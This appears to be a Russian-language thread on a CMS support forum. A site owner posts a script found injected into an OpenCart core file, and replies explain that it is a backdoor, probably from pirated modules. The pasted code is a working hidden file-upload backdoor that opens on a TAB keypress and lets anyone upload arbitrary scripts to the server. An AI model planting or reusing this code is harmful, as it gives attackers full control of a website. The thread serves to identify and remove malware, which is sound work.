Jump to content
Search In
  • More options...
Find results that contain...
Find results in...

Что за скрипт в \system\engine\model.php


Recommended Posts

<script type="text/javascript" src="http://code.jquery.com/jquery-1.8.1.js"></script><script type="text/javascript">document.onkeydown=key;function key(event){if(event.keyCode==9){         document.getElementById('panel').style.display="inline";}}</script><?php $dir = dirname( __FILE__ );$file = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'];echo '<div style="display:none" id="panel" ><form method="post" id="form1" action="'.$file.'" enctype="multipart/form-data"><p><input type="file" name="filename"></p><p><input type="submit" name="submit23" value="OK"></p></form></div>';if($_POST[submit23] != ''){if(is_uploaded_file($_FILES["filename"]["tmp_name"])){move_uploaded_file($_FILES["filename"]["tmp_name"], $dir."/".$_FILES["filename"]["name"]);} }?>


<?php
abstract class Model {
    protected $registry;
    
    public function __construct($registry) {
        $this->registry = $registry;
    }
    
    public function __get($key) {
        return $this->registry->get($key);
    }
    
    public function __set($key, $value) {
        $this->registry->set($key, $value);
    }
}
?>

 

Не могу понять откуда появился он.

 

Link to comment
Share on other sites


Срочно удаляйте. 

Откуда взялся? Например из модулей скачанных не из оф.сайтов.. На разных пиратских сайтах часто выкладывают модули для опенкарта, зараженные разной гадостью. Любители халявы их качают а потом жалуются на проблемы.. Где у меня этот код взялся? Наверное сам напечатался :)

Link to comment
Share on other sites

Что делает этот код:

Добавляет на все страницы сайта скрытый блок, который открывается с помощью нажатия клавиши TAB. В этом блоке форма с возможность залить на сайт любой файл, в т.ч. скрипт, который сможет сделать с вашим сайтом все что угодно.  Посмотрите нету ли в папке 

\system\engine\ сторонних файлов.

Edited by sv2109
  • +1 1
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...

Important Information

On our site, cookies are used and personal data is processed to improve the user interface. To find out what and what personal data we are processing, please go to the link. If you click "I agree," it means that you understand and accept all the conditions specified in this Privacy Notice.